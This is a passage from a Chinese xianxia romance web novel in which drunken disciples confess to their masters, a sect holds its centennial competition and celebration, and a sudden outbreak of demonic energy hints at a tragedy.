唐山玉和秦兰时想来是跑到其他地方玩去了,他们一起混入人群里不见踪影,和不习惯混入人群的顾延清和谢璟不同,他们自是哪里热闹去哪里。 “你们父母呢?下次小心些。”顾延清抬手摸了摸小女孩的脑袋,随后便出声问道,他努力让自己看上去温和一些。 “阿爹阿娘在那边!”小女孩听到这话,便指了指一个方向,在这个方向的不远处是个花灯铺子,一对男女正在那里看着精致的花灯,“神仙哥哥,我跟你说哦,我刚刚看到特别漂亮的大鱼。” “嗯。”顾延清点了点头,随后又摸了摸小女孩的脑袋,“不要让家里人担心了,你们该回去了。” “神仙哥哥……”小女孩显然不想走了,因为顾延清对她太好了,而且又好看,自小便看脸的小女孩自然舍不得就这样离开。 就在这时,谢璟伸出手拉住顾延清的手,他将自己的脑袋轻轻靠在了顾延清的手背上,他做完这一切后就对着小女孩道:“这是我的神仙哥哥……” “…?!”小女孩显然没有想到蹦出个大人来和她抢神仙哥哥,当即就要张嘴,可下一刻,一个糖葫芦怼在了她的嘴巴上,这让她从方才的悲伤变成了甜蜜的悲伤。 “小孩儿,你爹娘过来逮你来了,还有,再不走,那漂亮大鱼就要跑走了哦~”秦兰时满意地看着这个小孩嘴巴被自己用糖葫芦塞了个满,他一边说着一边对小女孩眨了眨眼。 这显然也是一个美人儿。 小女孩眼睛都看愣了,随后在糖葫芦里挣扎出来道:“漂亮哥哥!” “怎么他是神仙哥哥?我就是漂亮哥哥啊?怎么,我不像神仙吗?”秦兰时听到不一样的称呼后有些好奇地蹲下来问道。 “不像!”小女孩果断摇了摇头,她因为秦兰时对她笑,她也不由自主地跟着笑起来了:“漂亮哥哥不像神仙,像花儿一样好看。” “行吧行吧,反正都是夸我。”秦兰时也没继续问了,随后他往后边瞧了一眼,就看到唐山玉拿着大包小包的东西摇摇晃晃地在谢璟面前坐下了。 “酒醒了吗?”秦兰时转头问向了顾延清。 顾延清的视线从方才俩人拉起的手上收回去,他抬头看向了秦兰时:“应该还没有。” “怪了,这酒那么厉害的吗?醒酒汤也不怎么管用?”秦兰时伸出手摸了摸唐山玉的额头,唐山玉也没有什么动作任由人摸,“不过他们这次怎么那么安静?是因为没有吵架吗?” “许是那酒里掺了些醉里香,这醉里香在凡人的眼里是用来增加酒里的醇厚的,但在仙者眼里却是容易醉的……因为这醉是沾在那灵力的,凡人灵力少,自然对他们没什么用。”顾延清对此,也是无奈地摇头:“阿璟和山玉本就酒量不行……” “没想到你还了解这个?”秦兰时听到这里就不由得感叹一声大师兄的博学多识了,“所以醒酒汤也就没用了?算了,还是醉着好。” 秦兰时看着此时此刻难得醉酒却在安安静静的唐山玉,总觉得现在他哄孩子做什么都会去做呢,于是他果断凑到唐山玉面前:“山玉,你愿意……” “喊我一声爹吗?” 顾延清:? 唐山玉抬起头看了过来,只见他微微张口,吐出了一个字:“滚。” “哎呀,失败了呢。”秦兰时虽然没有捉弄人成功,但是他依旧笑得很开心,“真是,怪可爱的~” 顾延清:…… 顾延清对此有些不解,这俩人不是道侣关系吗?怎么还让人称呼自己为爹?难不成现在的年轻人都喜欢这样称呼自己的道侣吗?这听上去不怪吗? “…师父。”唐山玉再次开口了,他说完直接趴在桌子上,和那堆大包小包的东西一起,他瞧上去似有倦意:“我困了,想回家了。” “好,那就回家吧。”秦兰时说着就把那些大包小包的东西收进乾坤袋里后就弯下腰,示意唐山玉上来,而唐山玉自然也上来了,他浑身散发着我醉了我很懒的气息。 “大师兄,你也带谢璟走吧,我们一起回去吧。”秦兰时转头对顾延清一笑,笑完后就率先背着唐山玉往山上走去。 顾延清见此也转头看向谢璟,他在谢璟的面前蹲下来,问道:“阿璟?我们该回去了。” “……”谢璟没回话。 “需要我背吗?” 谢璟闻言点了点头。 于是,师父背上了徒弟。 走上了回家的路。 …… 秦兰时将唐山玉带回去后,就感觉到身后的人开始不安分地动了,敢情这孩子在外边安安静静的是因为不在熟悉的场所喝醉的缘故吗? 一回来随清宗就原形毕露了是吧? “山玉,别挣扎了,要掉下去了。”秦兰时很是无奈地背着人往床边走去,还没走几步呢,背上的人就挣扎了下来,然后就被这家伙推到了床边那里。 俩人一起双双倒下,软绵的被褥将他们所包裹,唐山玉就这样趴秦兰时的胸口上,倾听着里头的心跳声,这心跳声有些沉甸甸的。 “山玉?”秦兰时说着便抬手按住了唐山玉的脑袋,摸了好几把,“是为师错了,嗯?下次为师肯定不离开你那么久了,好不好?” 唐山玉没有回答他,只是重新支起了身子,然后就那么看着秦兰时,烛火在不远处微燃,触动着床帘上的影子。 许是心跳让人紧张,四周还弥漫着那醉人的酒香。 小心翼翼的,就那么张开口。 眼里带着对那份感情的期盼。 “我可以吻你吗?” 谢璟双手撑在了顾延清两边,低下头,看着发丝散乱地躺在他床上的顾延清,这般似梦的场景,让谢璟产生了些许勇气。 顾延清抬头看着自己身上的谢璟,他一时之间便失了语,本来他只是带着谢璟进来,在他安稳地把人放在椅子上后,就转身去翻翻谢璟的被子,以便谢璟更好地躺下去。 可顾延清才背过去一会儿,谢璟不知何时走上前来,在顾延清没料到的情况下,抬手将他压在了床上。 俩人的距离被拉近,顾延清可以感觉到自己的心跳声如雷鸣般轰然而出,他微微闭了闭眼,似乎在努力克制着什么。 顾延清并没有急着回谢璟方才的问题,而是先开口问道:“我是谁?” “…你是我的心上人。”谢璟顿了顿,那声师父就要脱口而出了,但是很快他觉得这不对,不应该那么称呼的,既然要表达自己的心悦之意,应当用最为直白的称呼。 “……”顾延清抬手微微扶额,随后他单手撑起自己,将谢璟往后推远了些,他叹了口气,似乎有些无奈:“阿璟,你喝醉了。” “……” “阿璟…?”顾延清在想这人为什么没出声,就抬头看去,这一抬头他就看到了谢璟不知何时流下了眼泪,仿佛被抛弃了一样,看上去好不可怜。 “……别,别哭。”顾延清抬起手为谢璟擦去泪水,他有些不知道该怎么安慰好,还没等他想好呢,哭着的谢璟就开口说话了。 “你…不喜欢我,我知道……但是,对不起……你之前也说过的,但是我真的……”谢璟在哭着的时候也往后退去了一些,他抬手擦了擦自己的眼泪,发现这根本擦不完。 “……”顾延清看到这一幕,下意识地将人抱在了怀里,一边抱还一边轻拍着谢璟的后背,像哄小孩似的,“…不是的,我喜欢的……” “…真的吗?”谢璟显然没有想到对方承认了,这显然也更像梦了,他再次凑近过来,只不过这次他没有凑很近,而是保持着一个度,“你…没骗我吗?” “…没有。”顾延清轻呼出一口气,但在说出这句话的时候,他微微偏头,躲避着和谢璟这双眸子的对视。 太过炽热了。 顾延清有些招架不住。 “真的吗?那你以后也不会骗我吧?” “…我为何要骗你?”顾延清自认自己并非那种满口谎言之辈,更何况自己方才所说的每一句话都出自本心。 “……” 谢璟微微顿了一下,随后他又凑近了一点,只有在不清醒的时候,他才敢靠那么近。 “那,你想我吻你吗?” …… 这和方才的那个问题看似差不多,实则并不一样,一个是我可以吻你吗,另一个则是你想我吻你吗? 但,无论哪个主导权似乎都不在谢璟手上。 顾延清一直没有回话,就在谢璟以为不可能的时候,突地,他再次听到了那一声轻叹还有来自对方的回应。 “想。” 谢璟听到这话,便抬起头,有些惊讶地看着眼前人,随后,因为这一声应许,他便鼓起了不少勇气朝着顾延清靠近了过去。 俩人的唇贴在了一起,先感受到的,是酒香迷人,还有那醉人的暖意,谢璟细细吮吸着,像在勾勒着顾延清唇瓣的模样。 差不多后,谢璟小心翼翼地伸出舌头舔了舔顾延清的唇,他微微张了一下口,但是他发现顾延清没有张口,这一瞬间谢璟是有些怂的。 这是不愿意继续亲了吗? “……?”顾延清也在疑惑谢璟怎么不继续亲了。 “…怎么了?”顾延清轻声开口问道。 “那个,嘴,能稍微张开一下吗?”谢璟有些可怜巴巴地看着顾延清,很是乖巧地等待着对方的应许。 顾延清沉默了一下,就张开了口,而谢璟也重新凑了过去,将那抹温润吞入口中,俩人垂落的发丝纠缠在一起,不知何时,顾延清有些用力地握住了谢璟的手腕,在其中,那修长的手指悄然地穿过了那贝壳手链空隙。 在气息交织的混乱里,顾延清感觉到自己的腰被人抬手托起,这让自己的身躯更为紧贴对方。 咕…啾。 吻还在继续,稍微摩擦间便将那情意滋生发热,顾延清也逐渐明白何为情欢,浅尝片刻后,也能明白为何在漫漫长路里,人所追求的事物里,会有的情之一字。 这次的吻和先前不一样,没有鲜血的味道,徒留的都是满满的情意和难舍难分。 “阿璟……” 谢璟把人给松开了,顾延清睁开眼望了过来,他看到谢璟有些摇摇晃晃,像是有了倦意,这个时候他才想起这孩子喝醉后闹完就容易犯困。 如果是平时,或许顾延清就放任他睡过去了,只不过今日有些不同,见谢璟有些犯困后,顾延清便将谢璟往后推去,让谢璟跌落床褥间,而他则俯身而上。 “阿璟……抱歉……”顾延清那么念着,随后他捧起谢璟的脸再次吻了上去,这次,是他主动的,“这是最后一次……” “呃……”谢璟挣扎在半梦半醒间,似在浮浮沉沉,在迷糊里,他总觉有什么在掠夺他的呼吸,上方像有一座大山铺天盖地地朝他袭来,又似是一场呼啸而过的狂风暴雨,不管如何,这些都来得很是急匆匆。 而在最后…… 在风暴平息之时。 那温柔的甘霖,轻轻滴落在他额头上。 第244章 如果说要幸福…… 清晨,唐山玉在床上翻了个身,摸了摸身侧,发现那里空空如也,于是他本能地睁开眼,掀开被子看看,发现就是空空如也。 接着,他看到了旁边桌子上摆好的纸条,拿起一看就知道秦兰时被喊去开那个什么百年大考会的会议了。 果然,职位越高能力越大,人也就越忙。 唐山玉拿着纸条沉默了一会儿后就揉了揉眉心,酒醉后的感觉算不上很好,而平时他也不会特地去碰酒,只能说计划赶不上变化就是了。 “……唉。”唐山玉将手里的纸条收起来后,就打算出门找点事情做,可他才打开房门,走出院子的时候,突地,他好似看到了熟悉的身影蹲在了门后边。 “……?”唐山玉此时此刻的表情可谓是不敢置信到欲言又止,于是他调转头过去,来到了那个蹲着的人旁边:“一大早过来有什么事吗?谢师兄?” 谢璟抬起头看向了唐山玉,他没有直接回答方才那个问题,而是难得的好声好气地问道:“我能进去吗?” 这一副写满心事的表情是怎么回事? 唐山玉微微扶额,但是孩子又不能不管,于是他再次拉开了院门,“进来说话。” 谢璟进去了。 院门也就重新关上了。 俩人坐在屋子里头,桌上摆着冒着热气的香茶,唐山玉托腮看着人,而谢璟手里拿着杯子,脸上则是一副绝望又不知道怎么开口的模样。 “什么事?说说?”唐山玉敲了敲桌子,示意人该回神了。 “…我……我好像犯错了……”谢璟在说出这句话的时候,眼里满是对未来无望的惊恐。 “…哈?”唐山玉不明所以,但是认真倾听。 …… “…等一下,你再说一遍方才那话……”唐山玉抬手揉了揉眉心,此刻他心情无比复杂。 “…我…我昨晚好像强吻我师父了……?”谢璟说出这句话有点不确定,他很是忐忑不安,虽说醉酒后他没有失忆,但是因为昨晚的一切都太不真实了,导致他开始怀疑起自我来了。 虽然说是强吻似乎有些不对。 但是谢璟下意识地觉得师父不会同意他这样做,很有可能自己为了让自己好受一点,所以特地扭曲了一下自己的记忆也说不定。 “嗯……”唐山玉正在思考,指节富有节奏感地敲击着桌面,他一边想着一边抬头看着谢璟此时此刻的神情,是不安的。 这个时候唐山玉才想起关于谢璟的另一个身份,也就是本书的主角攻,那个疯狗偏执狂,不仅强迫自己的师父,还上演了一段虐恋情深的强制爱,又是囚禁又是强迫的,把当初的读者们给看了个酸爽。 之前他不太想谢璟和顾延清有点进展的时候,是担心剧情会突然偏向了主线方面,同时也是担心如果一次的剧情成功会造成之后的连贯剧情发展。 如果那样的话,秦兰时的结局又要怎么避免…… 想要解开剧情的枷锁要做的努力还有很多,其中就有主角们之间感情的一方面,毕竟故事的主流是讲述爱情,而任何剧情的发展都可以是主角们的感情戏的推动线。 所以,如果可以的话,唐山玉还是想等秦兰时渡过书里那个结局的时间段后再看看能不能帮助谢璟追到他那个天仙似的高岭之花的。 ……只是… 现在看来,顾延清对谢璟好像也有点不一样,说什么强吻,金丹期强吻化神后期吗?那还真是好棒棒啊。 当然,如果顾延清实际上对这种事情是溺爱又随便,那唐山玉也没有办法。 “…山玉,你怎么思考那么久?”思考得谢璟都有些慌了,难不成这次闯出的祸很大吗?已经到无法改变的地步了? “…啊,我需要再仔细想想……”唐山玉回过神来便应了一句,只不过他的思绪依旧放在主线剧情和主角们的感情线的关联上。 “…我明白了……”谢璟沉默了一下,果断地道:“我这就以死谢罪……” “等一下!根本不用这样啦!”唐山玉连忙阻止了谢璟这个危险的想法继续下去,“你这错说大也不大,说小倒也不小……” 谢璟屏住了呼吸。 唐山玉看着他这个模样,突地笑了一下,眼里所流露出的片刻温柔就像初阳映入树林间,散漫地落于地上的碎光:“嗯,去吧。” “什么?” “我是说,你可以试试往前走一步。”说着,唐山玉将手里的茶端起来喝一口,“该往前走了,谢璟,一直待在原地是什么也不会改变的。” 是啊,是要去改变了。 谢璟也不是书里的那个偏执疯狗攻,现在的他足够的温柔,也足以让人选择为他倾心,更重要的是…… “如果你会幸福的话,我也会很开心的。”唐山玉说完这一句话,便抬头看向谢璟的反应,如他所料,在他说完这句话后,谢璟开始变得有点不好意思起来了。 “…干嘛?你又吃错东西了?”谢璟颤抖地举起杯子喝一口茶,他在假装淡定,眼神在往外飘过去。 “吃没吃错,你就不能判断出我的真心话了吗?”唐山玉继续温和笑着,他开始给谢璟分析起来了:“你想啊,昨晚你师父没有推开你吧?” “…没有。”谢璟觉得如果是推开的话好像不是那种模样。 “那就说明你有机会,找个机会表明心意吧?如果你想要找个适合的时间,不如就在这次百年大考会结束的时候?”唐山玉稍微认真了一下,只不过他对顾延清的事情不算很了解,但如果是谢璟的话,他倒是比较了解。 正是因为了解,他才会明白,这个自小就要强的孩子在面对自己喜欢的人之时便会流露出难得的怯意。 “…真的,可以吗?”谢璟似乎也有所意动了。 “可以。”唐山玉的语气非常肯定,“你可以变得更加幸福一些,谢璟。” “……走了。”谢璟果断站起来,就算他走出去的速度很快,唐山玉还是能够看到他耳朵上的微红。 嗯…… 找到一个对付谢璟的妙招呢。 下次看看什么时候用吧。 唐山玉喝着茶自乐了一下,随后,他选择出门去看看胡长乐了,毕竟小姑娘好像不喜欢社交的样子,经常待在自己的院子种地。 虽说有些人的确喜欢独自一人待着,但是这并不代表她不会感觉到孤独,偶尔热闹一下也是好的。 …… 胡长乐待在了她的院子里,坐在石凳上,对着那头的菜园子在发呆,突然,她转过头来,就看到了唐山玉走过来的身影。 “唐哥。”胡长乐果断对唐山玉露出了笑容,并且拍了拍她旁边的空石凳,示意人坐下。 “最近怎么样?还好吗?”唐山玉坐下来了,也顺着她的目光看向那里的菜园子,“学长呢?” “学长昨夜偷喝了我弄的的酒,正睡着呢。”胡长乐想起这个事就笑了一下,“你是没有看到,它那个模样真的很可爱~” “是吗?那还真是可惜。”唐山玉闻言也跟着一笑,这的确是一件让人舒心的事情。 胡长乐也跟着笑了,只不过在笑着的时候,她突然收起了的脸上的笑容,眼神变得有些迷茫了:“唐哥,我问你,你还想家吗?” “……”唐山玉一愣,他没有想到现在的胡长乐还会问出这个问题,问出这个他和秦兰时一直在躲着不谈的问题。 “时间过了那么久,还想吗?”胡长乐又继续问着,她抬起头看着天上的太阳,不知那边的太阳是不是和这边一样呢? “…我不知道……”唐山玉轻叹了一声,如果是之前,或许他会毫不犹豫地说他想,可过了那么久,他也很难分辨自己此时此刻的心情,或许在想,或许偶尔忘了。 “……那,现在还在想家的人,是不是很奇怪?”胡长乐不知为何露出了一抹苦笑,她看上去似乎一直在苦恼这件事:“还不放弃,还不肯忘记,是不是……很不好?明明这里也挺好的,吃喝不愁,就连大家也很友好。” “…不奇怪,你看你秦哥,他想家想了很久了,只不过有时候会忘记了,因为等待的过程太漫长了。”唐山玉轻轻摇了摇头,他抬手去接住这个世界所落下的阳光,“虽然我也有点忘记了,不过,他们一定希望我们能够在这里好好活下去的。” “……”胡长乐低头沉默着,而在她安静了一会儿,唐山玉听到她轻声开口道:“是吗?” 然后就没有然后了。 这次谈话的内容似乎有点沉重呢。 唐山玉不知道该说什么安慰她,还没等他说什么,就看到胡长乐抬头看向他,那双眼睛不知为何在那一瞬间似枯水静潭,可很快,又重新明亮起来,冲着他笑。 “嗯,我知道啦。”胡长乐说着,就听到屋内似乎传来了东西碰撞的声音,她连忙转头看过去,随后站起身来,“糟糕,可能是学长醒了!我得去看看!” “嗯,我和你一起?”唐山玉闻言也跟着起身。 “…不用了,唐哥,不是什么大事,我自己去看就好了。”胡长乐冲唐山玉摇了摇头,她说完这句话后,就转头冲向了屋子里,也不知捣鼓了什么后,她就捧着学长走了出来,学长似乎还摇摇晃晃的,爪子在手掌上走起了醉拳步。 “看,很可爱吧。”胡长乐把学长捧给唐山玉看,她嘿嘿一笑,似乎很高兴。 “是啊,没想到还能醉成这样……”唐山玉说了一半就不说话了,毕竟他酒量这一世并不算好。 “唐哥,你戳一戳它的肚子,会很好玩的。”胡长乐眼睛亮亮的,很是期待。 唐山玉毫不犹豫地伸出手指去戳学长的肚子,一戳那学长就打了个酒嗝,两戳就两个。 “噗,哈哈哈哈……”胡长乐忍不住笑出声来,而唐山玉也跟着她一起笑了起来,笑着笑着,她突地停住了一下笑声,给唐山玉发了一张好人卡,“唐哥,你是个很好很好的人。” “…咳,这算是好人卡吗?” “不是啦,我说的是事实呀。” 不管如何,今日的阳光果然明媚得紧呢? 很快,就到了百年大考会的日子了,谢璟那边好像是下好决心了,他打算在这个考会上做出成绩来好让师父刮目相看,这就像做出一番事业然后骄傲地朝着自己心爱的人走去,并且在心上人面前炫耀自己的过人之处。 嗯…… 就是想要多点加分项吧。 能够理解。 唐山玉点了点头,然后站在弟子的队伍里,听着上方的苏岭月开始了领导讲话,讲了一会儿后,又安排各派的长老出来说点鼓舞人心的话。 大家伙们的稿子都背得挺好的,很快弟子们就开始兴奋起来了,只不过唐山玉平静如死,对于这种熟悉的味道,他已习惯了。 而轮到秦兰时上去演讲的时候,下边的弟子纷纷有些好奇,因为这位秦长老极少参与这种场合,这次参加大伙们都明白估计是对方的唯一弟子也在这次考会的队伍里。 “嗯……”秦兰时站在台上稍微思索了几秒后,就果断地笑着朝各位弟子们挥了挥手,“大家加油啊,这次考会争取获得好成绩,对了哦,宗主说了,到时候前十名法宝随便挑,就连前百都有丰富的奖品呢,大家可不要给宗主省钱呐~” 作为宗主的苏岭月:…… 准备法器的梁均:…… 奖品不是你准备,你不心疼是吧? 明明之前没有说过随便挑的。 “师父,装作听不见就好了。”宋鸠很是冷静地提醒了一句。 燕明华站在一旁捂嘴微笑,似乎对此见怪不怪了,随后她轻叹一句:“兰时这次回来像个长老样了。” 孟江离在发呆,毕竟体修都是靠拳头打架的,法宝什么的,还要看人会不会用。 “…那个,秦长老!秦长老!!”有弟子在下边问了:“奖励可以不是法宝吗?” “哦?那这位弟子你想要什么?”秦兰时略有兴趣地看了过去。 “…如果我足够优秀,我能……我能成为亲传弟子吗?”弟子鼓足了勇气问道,内门弟子和亲传弟子根本不是一样地位。 “…这个嘛,的确有这个先例,只要是金子哪里都是发光的。”秦兰时点了点头,算是默认,只不过他补充了一句:“哦,不过我不行哦~因为我专一,这辈子只想收一个弟子呢~” 说完,在底下的唐山玉收到了秦兰时一个爱的媚眼。 唐山玉:…… 咳咳。 好像有些不好意思了呢。 第245章 百年大考会 百年大考会,随清宗为了给那些百年回来的金丹弟子准备的,若说万象盛会是初出茅庐的年轻才俊,那么百年大考会便是已然经历了不少风霜的百年弟子证明自己这些年来努力的时候。 百年来的沉淀在此刻可以窥见一二,并且来见识少年们的成长。 唐山玉站在底下,他旁边站着谢璟和石泽竹,而同一辈的五个亲传弟子里少了盛知许和慕轻轻,他们俩都各有各的的事情没有过来。 “…要是轻轻和知许在就好了。”石泽竹觉得人少了有点不太自在,虽说他们也不是经常聚在一起,只是……这种时候总让他想起当初在万象盛会大家聚在一起的模样。 “毕竟那个时候大家都挺无忧无虑的……”唐山玉也跟着感叹了一下人们之间的聚散离合,就是那么巧妙的东西,“后来也发生了很多事情,我们不得不为此负起责任。” “这是成长吗?”石泽竹那么问着。 “算是吧,但,那也应该是人生。”唐山玉闻言笑了一声,很轻的一声,就像光透过指缝流动而来。 “要上场了。”谢璟在旁边提醒了一句,因为石泽竹是体修,所以和他们剑修是不一样的比赛场地。 石泽竹挥了挥手,和唐山玉,还有谢璟告了别,他有些依依不舍,但是也只能自己独自一人往那边走去……于是他碰到了方安城,陈严还有梅元宝几位相识好友。 “你们也来了啊!”石泽竹很是惊喜,于是快步走了过去,“太好了!你们什么时候去比赛?” “等抽签吧,你去抽了吗?”陈严举起自己的签号是157,梅元宝也跟着举起自己的签号148,而方安城似乎不是很想理人。 “我是120!安城,你呢?”石泽竹有些好奇地看了过去。 还没等方安城回应呢,就听到上面的传音鸟在四处飞喊着:“120和75,250和520……” 等等,总之一大堆谁和谁打架。 不过在念完后不久,就会被传送到相应的比赛场地上。 而方安城听到这话,身子一顿,突然,他笑得极为阴暗地拿出自己的签号75,他看向石泽竹的目光突然深邃了起来,最后他冷笑了一声:“呵。” 下一刻,俩人一起被传送到了台上,而方安城把那签号收起来,就朝着石泽竹那里抬脚踢来。 这次的比赛不需要裁判喊开始,只要你站在台上,就可以开始进攻了。 另一边,唐山玉和谢璟并没有在第一场就比在一起,只不过,总是会遇到的,毕竟…… 他们一直都是彼此最好的对手,不是吗。 …… 在比赛结束后,谢璟这次打赢了唐山玉,赢了后,谢璟走过来对地上的唐山玉伸出手,而唐山玉也笑着握住了来自谢璟的这只手。 然后,他顺着这个力道站了起来。 “恭喜你,第一名。”唐山玉没什么失望的情绪,毕竟他上次也是讨了个巧,这次谢璟有所防备,自然更不好赢了。 “嗯。”谢璟见人起来后就松开手,接着就转头看向高台处看向这里的顾延清,一人于高处静坐,一人仰望着心里最纯净的神明。 “好了,我们该下去了。”唐山玉觉得这人可能需要矜持一下比较好,这也太白送了吧。 “哦。”谢璟依依不舍地被唐山玉给拉下去了。 俩人下去后就一起挤在人群里头,去看其他人的比赛,一路上有说有笑的,好似平常里的幸福日子会一直这样下去那样。 天是蓝的,风也是温柔,阳光明媚得不像话,这几天的百年大考会都是极好的天气,没有一丝阴霾,云彩飞扬,令人畅快。 百年大考会结束后就是热闹的庆功会,在庆功会上,排名较前的弟子们可以获得想要的奖品,而随便选奖励的那几位因为太随便了,被安排去第二日的万宝塔那里自选。 “你觉得这个庆功会怎么样?”唐山玉坐在位置上拿着茶在开心地喝,这次不是第一了,他可以少得一些关注了。 “挺好。”谢璟坐在位置上,心里在盘算些什么,举杯不喝,一副低头思明月的模样。 “山玉哥哥,我这次进前一百了,在怎么样~”江玉瑶坐在旁边一副等夸夸的模样,她看上去很是期待。 “嗯,很棒,玉瑶这一百多年进步不少呢。”唐山玉听到这话,就开始鼓励起孩子了,他抬起手摸了摸江玉瑶的脑袋。 “我也前一百。”方安城在旁边幽幽开口了,只不过他开口前看了一眼石泽竹,这次他还是输给了这个家伙,这样一想,方安城的眼神就更幽怨了。 “好棒,下次加油。”唐山玉鼓励完这个就立马鼓励下一个,手从江玉瑶的脑袋上离开,然后往方安城脑袋上摸去。 叶玄洲在旁边哼了一声,随后他自信满满地双手抱臂地道:“我这次可是前五十。” “嗯,太棒了,下次努力。”唐山玉把手收了回去,没有继续选择摸人脑袋。 叶玄洲:…… “你什么意思?”叶玄洲看了看唐山玉那只手,随后又指了指自己,一副不明所以的模样。 “…真摸了你又不乐意。”唐山玉瞥了叶玄洲一眼,淡淡地开口了。 “那你好歹有个态度吗?至少给我拒绝你的机会啊!”叶玄洲很是不满,最后在唐山玉再次举起手的时候,他又开始演了起来:“我不用,区区前五十而已。” 那么唐山玉被拒绝完后就重新把手放了回去,只能说,人家就喜欢吃这一口,他选择尊重理解。 “说起来,长乐她这次没有来比赛吗?”江玉瑶看了一眼周围,好奇问道:“我记得她也是金丹呀?” “嗯,她对这些不感兴趣。”唐山玉点了点头,随后将手里的茶喝完,然后就开始夹菜吃,“她更喜欢一个人待着……不过你要是想去找她玩,她会很欢迎的。” “真的吗?那我改天就有空就去找她玩~”江玉瑶想起那个小姑娘,总觉得她需要好好打扮一番才行呢,多好看的脸蛋啊。 石泽竹在旁边给唐山玉夹了红烧鱼,这是唐山玉最喜欢吃的一道菜,唐山玉看到他这个动作后就也举高手也准备摸一下石泽竹的脑袋,石泽竹眼睛立马亮了起来,随后他低下头让唐山玉摸了个爽。 不知为何总是在摸人脑袋路上的唐山玉终于让手歇起来了,他一边吃一边喝,而且还不忘记看了一眼那头的长老桌,随清宗的长老们其实有很多的,大部分实力不俗,不只有唐山玉认识的那几个。 而唐山玉的视线落在了那边秦兰时身上,秦兰时拿着酒杯露出了用来应酬的笑容,真是社畜味浓浓啊。 唐山玉满意地收回了视线,太好了,他坐小孩桌,不用喝酒,而且他今天特地换了一件新衣服,这新衣服把他衬得极为俊朗。 在庆功会开始前,谢璟看了一眼新衣服随后就有些不好意思地别过视线了,因为这是他当初送给唐山玉的那套衣服,没想到唐山玉会在今天把它给穿上。 唐山玉也没问人今天他好不好看,不过他脸上的满意笑容做不得假,毕竟,自己穿着喜欢就行了。 “你准备什么时候去?”唐山玉在庆功会进行到一半的时候开口问道。 “待会结束吧。”谢璟觉得自己还需要再做些心理建设,于是他开始喝起了茶,用浓茶让自己清醒一些。 “加油。”唐山玉只会说这个词了,毕竟再多他也帮不了,“如果失败了可以来找我喝酒。” “…你盼着我好点行不行?”谢璟很是无语,怎么还给他提前想好失败安慰法了,虽是这样说,但谢璟却因为这一句而放松了不少。 过了好一会儿后,宴席已散,但还有不少人留在现场交流着修炼心得,还有自己的历练经验,其中叶玄洲很是得意地大家讲述他们在卧吟岛的经历,他口才很好,讲得很是身临其境,这个时候就有人问了: “天啊,你们居然经历了这样的事情,所以这就是慕师姐没有回来的原因吗?” “慕师姐原来是龙啊……”这种时候就有人恍惚了一瞬。 “怎么…你不喜欢?”问出这话的是慕轻轻最忠实的追求者。 “不,更喜欢了。”这人意志更加坚定了。 江玉瑶对于炫耀这个不感兴趣,她更喜欢炫耀自己的衣服和美貌,所以她和方安城在旁边站着等叶玄洲炫耀完,就在这时,李行川带着他的伙伴们挤了过来。 “嗨,在等人?”李行川过来先打了个招呼。 江玉瑶听到这话便点了点头,“嗯。” “咦?唐兄和谢兄呢?”李行川环顾了一下四周,发现没有看到他们俩的身影,“你们不是和他们坐一起的吗?” “好像有事先走了。”江玉瑶那么说着,然后又问道:“你们这是打算离开了吗?” “对啊,离开前我还想和他们聊一下呢,看来是我来晚了,没办法了,只能下次再看看了。”李行川叹了口气,随后又看向了在那边炫耀的叶玄洲,“事情也算是得到圆满的结束了,当初可真是惊险,听说江姑娘你差点出事了。” “是啊,不过还好……”江玉瑶叹了口气,而她也因为这番话想起当初的经历:“可能是因为那个魔主是个心软的人吧。” “那个被我们传递的黑石头幸好没有落在他的手里,虽然他看上去对我们没有恶意,但是我们并不能保证后续不会对我们造成影响……那可是渡劫期的实力啊。”说着,李行川感叹了一声,这可是他们这辈子拼尽全力也可能无法抵达的境界。 “对了,黑石头你们应该给秦师叔了吧?”江玉瑶随口问了一句,有些无聊地拿起旁边还没吃完的糕点吃了一口。 “我记得最后应该在叶兄手里……”而这一问却让李行川愣了一下,随后他认真想了想。 “怎么了,在讨论我?”叶玄洲突然窜了出来,他依旧是那副自信满满的模样。 “在讨论你有没有把那个黑石头交给秦师叔。”江玉瑶看到人来了,也就往旁边挪了一下,让出一个空位置来给叶玄洲。 “我?我交给长乐姑娘了。”叶玄洲细细想了一下,“因为,她和秦长老挺要好的嘛,就顺手让她交过去了,而且当时秦长老被那些妖按住去看病了,虽说那是山玉的师父,不过我们也不算很熟悉啦,所以我就给长乐姑娘了。” “比起这个,我打算找个时间和长乐去玩,你们觉得怎么样?”江玉瑶说着,就看了一眼张欣雅,又看了一眼梅元宝,“还有,我这里还有小桐的传讯符,我们可以找上她一起。” “我没意见。”张欣雅耸了耸肩。 “好呀好呀。”梅元宝眼睛一亮,显然对这次女孩子一起出行表现得很是期待。 就在这时,秦兰时突然就凑了过来,“你们知道山玉去干什么了吗?” “秦…秦长老好!山玉哥哥他去干什么没有和我们说,不过他是刚离开不久。”江玉瑶看到秦兰时的脸顿时就脸红了起来,于是她有些不好意思地往后边躲了躲。 “这样啊,谢啦。”秦兰时说着也就准备去找唐山玉了,说起来唐山玉和谢璟最近好像有什么小秘密一样,虽说他有些吃醋,但是也不能真的管那么多啊…… 嗯,要不要先问一句他能不能去? 顾延清也在这时走了过来:“兰时?师父在喊你过去。” “先等等,我问一下山玉他在哪里……”秦兰时闻言笑了笑,于是他开始拿出传讯符,灵力还没输入呢,突然,他手一抖,那传讯符就那么飘落在了地上。 “…哎呀。”秦兰时蹲下来,伸手就要去捡的时候,几乎是一瞬间的时候,在场的所有人都察觉到不知某处所爆发出来的魔气。 “怎么回事?” “这里…怎么会有魔族?” “长老…长老!!” …… 而这个魔气……和当初谢璟身上的一样。 如果不是魔族入侵,那么就只有一种可能…… 顾延清这样想着,就准备往那个地方飞去,但是他感觉到自己的手腕被人死死地拽住了,低头看去,发现是面露惧色的秦兰时,而秦兰时的表情此时说不上的恐惧,仿佛下一秒他就能哭出来那样。 “花……”他捂住自己的胸口,同心莲不知何时开始枯萎,并且有着决然不回头的趋势。 血染衣,明月落。 “要死掉了……”秦兰时说着,就顺着顾延清的手踉跄地站了起来,随后跌跌撞撞地往那边的魔气爆发处冲去。 只忽闻,绝然泪。 不知为何,此时此刻秦兰时的脑子里突然想起了一段他早就忘却的内容,一段来自书里的内容,那明明只是轻飘飘的一段,是极其不重要的一段…… 可就是那么一段,在秦兰时的脑子里逐渐清晰起来。 [在顾延清赶到的时候,就看到了谢璟魔气失控的时候失手将同门弟子给杀死的画面,魔族特有的残暴让在座的人无一不骇,血染红了谢璟的衣裳,而他却只是站在那里笑。] 而现在,谢璟却只是跪在那里哭。 